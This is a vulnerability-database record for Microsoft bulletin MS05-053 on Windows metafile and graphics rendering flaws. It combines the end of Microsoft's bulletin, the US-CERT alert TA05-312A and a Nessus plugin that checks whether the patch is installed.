Name\tVersion\tDate\tTime\tSize\tFolder\r\n\r\nGdi32.dll\r\n\t\r\n\r\n5.0.2195.7069\r\n\t\r\n\r\n07-Oct-2005\r\n\t\r\n\r\n06:19\r\n\t\r\n\r\n233,744\r\n\t\r\n\r\nMf3216.dll\r\n\t\r\n\r\n5.0.2195.6898\r\n\t\r\n\r\n24-Mar-2004\r\n\t\r\n\r\n02:17\r\n\t\r\n\r\n37,136\r\n\t\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.0.2195.7071\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n09:33\r\n\t\r\n\r\n1,638,672\r\n\t\r\n\r\nWin32k.sys\r\n\t\r\n\r\n5.0.2195.7071\r\n\t\r\n\r\n06-Oct-2005\r\n\t\r\n\r\n09:33\r\n\t\r\n\r\n1,638,672\r\n\t\r\n\r\nUNIPROC\r\n\r\nVerifying that the Update Has Been Applied\r\n\u2022\t\r\n\r\nMicrosoft Baseline Security Analyzer\r\n\r\nTo verify that a security update has been applied to an affected system, you can use the Microsoft Baseline Security Analyzer &#40;MBSA&#41; tool. MBSA allows administrators to scan local and remote systems for missing security updates and for common security misconfigurations. For more information about MBSA, visit the Microsoft Baseline Security Analyzer Web site.\r\n\u2022\t\r\n\r\nFile Version Verification\r\n\r\nNote Because there are several versions of Microsoft Windows, the following steps may be different on your computer. If they are, see your product documentation to complete these steps.\r\n\r\n1.\r\n\t\r\n\r\nClick Start, and then click Search.\r\n\r\n2.\r\n\t\r\n\r\nIn the Search Results pane, click All files and folders under Search Companion.\r\n\r\n3.\r\n\t\r\n\r\nIn the All or part of the file name box, type a file name from the appropriate file information table, and then click Search.\r\n\r\n4.\r\n\t\r\n\r\nIn the list of files, right-click a file name from the appropriate file information table, and then click Properties.\r\n\r\nNote Depending on the version of the operating system or programs installed, some of the files that are listed in the file information table may not be installed.\r\n\r\n5.\r\n\t\r\n\r\nOn the Version tab, determine the version of the file that is installed on your computer by comparing it to the version that is documented in the appropriate file information table.\r\n\r\nNote Attributes other than the file version may change during installation. Comparing other file attributes to the information in the file information table is not a supported method of verifying that the update has been applied. Also, in certain cases, files may be renamed during installation. If the file or version information is not present, use one of the other available methods to verify update installation.\r\n\u2022\t\r\n\r\nRegistry Key Verification\r\n\r\nYou may also be able to verify the files that this security update has installed by reviewing the following registry key:\r\n\r\nHKEY_LOCAL_MACHINE&#92;SOFTWARE&#92;Microsoft&#92;Updates&#92;Windows 2000&#92;SP5&#92;KB896424&#92;Filelist\r\n\r\nNote This registry key may not contain a complete list of installed files. Also, this registry key may not be created correctly when an administrator or an OEM integrates or slipstreams the 896424 security update into the Windows installation source files.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\r\nAcknowledgments\r\n\r\nMicrosoft thanks the following for working with us to help protect customers:\r\n\u2022\t\r\n\r\neEye Digital Security for reporting the Metafile Vulnerability &#40;CAN-2005-2123&#41;.\r\n\u2022\t\r\n\r\nVenustech AdDLab, eEye Digital Security and Peter Ferrie of Symantec Security Response for reporting the Windows Metafile Vulnerability &#40;CAN-2005-2124&#41;.\r\n\r\nObtaining Other Security Updates:\r\n\r\nUpdates for other security issues are available at the following locations:\r\n\u2022\t\r\n\r\nSecurity updates are available in the Microsoft Download Center. You can find them most easily by doing a keyword search for &quot;security_patch.&quot;\r\n\u2022\t\r\n\r\nUpdates for consumer platforms are available at the Microsoft Update Web site.\r\n\r\nSupport:\r\n\u2022\t\r\n\r\nCustomers in the U.S. and Canada can receive technical support from Microsoft Product Support Services at 1-866-PCSAFETY. There is no charge for support calls that are associated with security updates.\r\n\u2022\t\r\n\r\nInternational customers can receive support from their local Microsoft subsidiaries. There is no charge for support that is associated with security updates. For more information about how to contact Microsoft for support issues, visit the International Support Web site.\r\n\r\nSecurity Resources:\r\n\u2022\t\r\n\r\nThe Microsoft TechNet Security Web site provides additional information about security in Microsoft products.\r\n\u2022\t\r\n\r\nMicrosoft Software Update Services\r\n\u2022\t\r\n\r\nMicrosoft Windows Server Update Services\r\n\u2022\t\r\n\r\nMicrosoft Baseline Security Analyzer &#40;MBSA&#41;\r\n\u2022\t\r\n\r\nWindows Update\r\n\u2022\t\r\n\r\nMicrosoft Update\r\n\u2022\t\r\n\r\nWindows Update Catalog: For more information about the Windows Update Catalog, see Microsoft Knowledge Base Article 323166.\r\n\u2022\t\r\n\r\nOffice Update \r\n\r\nSoftware Update Services:\r\n\r\nBy using Microsoft Software Update Services &#40;SUS&#41;, administrators can quickly and reliably deploy the latest critical updates and security updates to Windows 2000 and Windows Server 2003-based servers, and to desktop systems that are running Windows 2000 Professional or Windows XP Professional.\r\n\r\nFor more information about how to deploy security updates by using Software Update Services, visit the Software Update Services Web site.\r\n\r\nWindows Server Update Services:\r\n\r\nBy using Windows Server Update Services &#40;WSUS&#41;, administrators can quickly and reliably deploy the latest critical updates and security updates for Windows 2000 operating systems and later, Office XP and later, Exchange Server 2003, and SQL Server 2000 onto Windows 2000 and later operating systems.\r\n\r\nFor more information about how to deploy security updates using Windows Server Update Services, visit the Windows Server Update Services Web site.\r\n\r\nSystems Management Server:\r\n\r\nMicrosoft Systems Management Server &#40;SMS&#41; delivers a highly-configurable enterprise solution for managing updates. By using SMS, administrators can identify Windows-based systems that require security updates and can perform controlled deployment of these updates throughout the enterprise with minimal disruption to end users. For more information about how administrators can use SMS 2003 to deploy security updates, visit the SMS 2003 Security Patch Management Web site. SMS 2.0 users can also use Software Updates Service Feature Pack to help deploy security updates. For information about SMS, visit the SMS Web site.\r\n\r\nNote SMS uses the Microsoft Baseline Security Analyzer, the Microsoft Office Detection Tool, and the Enterprise Update Scanning Tool to provide broad support for security bulletin update detection and deployment. Some software updates may not be detected by these tools. Administrators can use the inventory capabilities of the SMS in these cases to target updates to specific systems. For more information about this procedure, visit the following Web site. Some security updates require administrative rights following a restart of the system. Administrators can use the Elevated Rights Deployment Tool &#40;available in the SMS 2003 Administration Feature Pack and in the SMS 2.0 Administration Feature Pack&#41; to install these updates.\r\n\r\nDisclaimer:\r\n\r\nThe information provided in the Microsoft Knowledge Base is provided &quot;as is&quot; without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\r\n\r\nRevisions: \r\n\u2022\t\r\n\r\nV1.0 &#40;November 8, 2005&#41;: Bulletin published.", "edition": 1, "modified": "2005-11-09T00:00:00", "published": "2005-11-09T00:00:00", "id": "SECURITYVULNS:DOC:10175", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:10175", "title": "Microsoft Security Bulletin MS05-053 Vulnerabilities in Graphics Rendering Engine Could Allow Code Execution &#40;896424&#41;", "type": "securityvulns", "cvss": {"score": 7.6, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:14", "bulletinFamily": "software", "cvelist": ["CVE-2005-0803", "CVE-2005-2124", "CVE-2005-2123"], "description": "\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n\r\n National Cyber Alert System\r\n\r\n Technical Cyber Security Alert TA05-312A\r\n\r\n\r\nMicrosoft Windows Image Processing Vulnerabilities\r\n\r\n Original release date: November 08, 2005\r\n Last revised: --\r\n Source: US-CERT\r\n\r\n\r\nSystems Affected\r\n\r\n * Microsoft Windows 2000\r\n * Microsoft Windows XP\r\n * Microsoft Windows Server 2003\r\n\r\n For more complete information, refer to Microsoft Security Bulletin\r\n MS05-053.\r\n\r\n\r\nOverview\r\n\r\n Microsoft has released updates that address critical vulnerabilities\r\n in Windows graphics rendering services. A remote, unauthenticated\r\n attacker exploiting these vulnerabilities could execute arbitrary code\r\n or cause a denial of service on an affected system.\r\n\r\n\r\nI. Description\r\n\r\n The Microsoft Security Bulletin for November 2005 addresses multiple\r\n buffer overflows in Windows image processing routines. Viewing a\r\n specially crafted image from an application that uses a vulnerable\r\n routine may trigger these vulnerabilities. If this application can\r\n access images from remote sources, such as web sites or email, then\r\n remote exploitation is possible.\r\n\r\n Further information is available in the following US-CERT\r\n Vulnerability Notes:\r\n\r\n VU#300549 - Microsoft Windows Graphics Rendering Engine buffer\r\n overflow vulnerability \r\n\r\n Microsoft Windows Graphics Rendering Engine contains a buffer overflow\r\n that may allow a remote attacker to execute arbitrary code on a\r\n vulnerable system.\r\n &#40;CVE-2005-2123&#41;\r\n\r\n\r\n VU#433341 - Microsoft Windows vulnerable to buffer overflow via\r\n specially crafted &quot;WMF&quot; file \r\n\r\n Microsoft Windows may be vulnerable to remote code execution via a\r\n buffer overflow in the Windows Metafile image format handling.\r\n &#40;CVE-2005-2124&#41;\r\n\r\n\r\n VU#134756 - Microsoft Windows buffer overflow in Enhanced Metafile\r\n rendering API \r\n\r\n Microsoft Windows Enhanced Metafile Format image rendering routines\r\n contain a buffer overflow flaw that may allow an attacker to cause a\r\n denial-of-service condition.\r\n &#40;CVE-2005-0803&#41;\r\n\r\n\r\nIII. Solution\r\n\r\nApply Updates\r\n\r\n Microsoft has provided the updates to correct these vulnerabilities in\r\n Microsoft Security Bulletin MS05-053. These updates are also available\r\n on the Microsoft Update site.\r\n\r\n\r\nII. Impact\r\n\r\n A remote, unauthenticated attacker exploiting these vulnerabilities\r\n could execute arbitrary code with the privileges of the user. If the\r\n user is logged on with administrative privileges, the attacker could\r\n take control of an affected system. An attacker may also be able to\r\n cause a denial of service.\r\n\r\n\r\nAppendix A. References\r\n\r\n * Microsoft Security Bulletin MS05-053 -\r\n &lt;http://www.microsoft.com/technet/security/bulletin/MS05-053.mspx&gt;\r\n\r\n * Microsoft Security Bulletin Summary for November 2005 -\r\n &lt;http://www.microsoft.com/technet/security/bulletin/ms05-nov.mspx&gt;\r\n\r\n * US-CERT Vulnerability Note VU#300549 -\r\n &lt;http://www.kb.cert.org/vuls/id/300549&gt;\r\n\r\n * US-CERT Vulnerability Note VU#433341 -\r\n &lt;http://www.kb.cert.org/vuls/id/433341&gt;\r\n\r\n * US-CERT Vulnerability Note VU#134756 -\r\n &lt;http://www.kb.cert.org/vuls/id/134756&gt;\r\n\r\n * Microsoft Update - &lt;https://update.microsoft.com/microsoftupdate&gt;\r\n\r\n \r\n _________________________________________________________________\r\n\r\n The most recent version of this document can be found at:\r\n\r\n &lt;http://www.us-cert.gov/cas/techalerts/TA05-312A.html&gt; \r\n _________________________________________________________________\r\n\r\n Feedback can be directed to US-CERT. Please send email to:\r\n &lt;cert@cert.org&gt; with &quot;TA05-312A Feedback VU#300549&quot; in the subject.\r\n _________________________________________________________________\r\n\r\n Revision History\r\n\r\n Nov 08, 2005: Initial release\r\n _________________________________________________________________\r\n\r\n Produced 2005 by US-CERT, a government organization.\r\n \r\n Terms of use\r\n\r\n &lt;http://www.us-cert.gov/legal.html&gt;\r\n _________________________________________________________________\r\n\r\n For instructions on subscribing to or unsubscribing from this \r\n mailing list, visit &lt;http://www.us-cert.gov/cas/&gt;.\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.2.1 &#40;GNU/Linux&#41;\r\n\r\niQEVAwUBQ3E5BH0pj593lg50AQISLAf+NMAgk3Up6wWphjOIQ89miwTHvpXHGmIH\r\n/mxHQ3PoN82NPkr8NmnLHhNAHqi8+ZI15lrympvr6xvm8C8FTxPU+dCa9CxS3c4l\r\nFLbTDbACHeD/OYwgvbE70Gx5ZUG95MMXgCRMHGiwIHaSHRspUQRMjRN5JubPjsyL\r\nS737+Yr19hMw6JQOWhM+Pn0MyAs6qm+4gfnIxO2Z1PsmpnushpqW505U6B6ZkF7W\r\nzCU0zecdwtZCMhWTu+3L/MqAjzt7VCsd2iC+0HS7WLvAcWoFcEvlL6Ai/E/eJLDm\r\nHQnO34E8231CcKRT4VACvs1QPFV1pvw1pihOAXveiBFoHpCIdPLc6g==\r\n=faQS\r\n-----END PGP SIGNATURE-----", "edition": 1, "modified": "2005-11-09T00:00:00", "published": "2005-11-09T00:00:00", "id": "SECURITYVULNS:DOC:10172", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:10172", "title": "US-CERT Technical Cyber Security Alert TA05-312A -- Microsoft Windows Image Processing Vulnerabilities", "type": "securityvulns", "cvss": {"score": 7.6, "vector": "AV:NETWORK/AC:HIGH/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "nessus": [{"lastseen": "2021-01-01T05:43:23", "description": "The remote host contains a version of Microsoft Windows missing a\ncritical security update to fix several vulnerabilities in the Graphic\nRendering Engine, and in the way Windows handles Metafiles.\n\nAn attacker could exploit these flaws to execute arbitrary code on the\nremote host by sending a specially crafted Windows Metafile (WMF) or\nEnhanced Metafile (EMF) to a victim on the remote host. When viewing\nthe malformed file, a buffer overflow condition occurs that may allow\nthe execution of arbitrary code with the privileges of the user.", "edition": 25, "published": "2005-11-08T00:00:00", "title": "MS05-053: Vulnerabilities in Graphics Rendering Engine Could Allow Code Execution (896424)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2005-0803", "CVE-2005-2124", "CVE-2005-2123"], "modified": "2021-01-02T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS05-053.NASL", "href": "https://www.tenable.com/plugins/nessus/20172", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(20172);\n script_version(\"1.39\");\n script_cvs_date(\"Date: 2018/11/15 20:50:29\");\n\n script_cve_id(\"CVE-2005-2123\", \"CVE-2005-2124\", \"CVE-2005-0803\");\n script_bugtraq_id (15352,15356);\n script_xref(name:\"MSFT\", value:\"MS05-053\");\n script_xref(name:\"CERT\", value:\"134756\");\n script_xref(name:\"CERT\", value:\"300549\");\n script_xref(name:\"CERT\", value:\"433341\");\n script_xref(name:\"EDB-ID\", value:\"1343\");\n script_xref(name:\"EDB-ID\", value:\"25231\");\n script_xref(name:\"MSKB\", value:\"896424\");\n\n script_name(english:\"MS05-053: Vulnerabilities in Graphics Rendering Engine Could Allow Code Execution (896424)\");\n script_summary(english:\"Determines the presence of update 896424\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"Arbitrary code can be executed on the remote host by sending a\nmalformed file to a victim.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a version of Microsoft Windows missing a\ncritical security update to fix several vulnerabilities in the Graphic\nRendering Engine, and in the way Windows handles Metafiles.\n\nAn attacker could exploit these flaws to execute arbitrary code on the\nremote host by sending a specially crafted Windows Metafile (WMF) or\nEnhanced Metafile (EMF) to a victim on the remote host. When viewing\nthe malformed file, a buffer overflow condition occurs that may allow\nthe execution of arbitrary code with the privileges of the user.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2005/ms05-053\");\n script_set_attribute(attribute:\"solution\", value:\n\"Microsoft has released a set of patches for Windows 2000, XP SP2 and\n2003.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Mozilla Firefox Interleaved document.write/appendChild Memory Corruption');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2005/03/17\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2005/11/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2005/11/08\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(english:\"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"misc_func.inc\");\n\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS05-053';\nkb = '896424';\n\nkbs = make_list(kb);\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit(\"SMB/Registry/Enumerated\");\nget_kb_item_or_exit(\"SMB/WindowsVersion\", exit_code:1);\n\nif (hotfix_check_sp_range(win2k:'4,5', xp:'1,2', win2003:'0,1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nrootfile = hotfix_get_systemroot();\nif (!rootfile) exit(1, \"Failed to get the system root.\");\n\nshare = hotfix_path2share(path:rootfile);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n hotfix_is_vulnerable(os:\"5.2\", sp:0, file:\"gdi32.dll\", version:\"5.2.3790.419\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.2\", sp:1, file:\"gdi32.dll\", version:\"5.2.3790.2542\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:1, file:\"gdi32.dll\", version:\"5.1.2600.1755\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.1\", sp:2, file:\"gdi32.dll\", version:\"5.1.2600.2770\", dir:\"\\system32\", bulletin:bulletin, kb:kb) ||\n hotfix_is_vulnerable(os:\"5.0\", file:\"gdi32.dll\", version:\"5.0.2195.7069\", dir:\"\\system32\", bulletin:bulletin, kb:kb)\n)\n{\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, 'affected');\n}\n", "cvss": {"score": 7.6, "vector": "AV:N/AC:H/Au:N/C:C/I:C/A:C"}}]}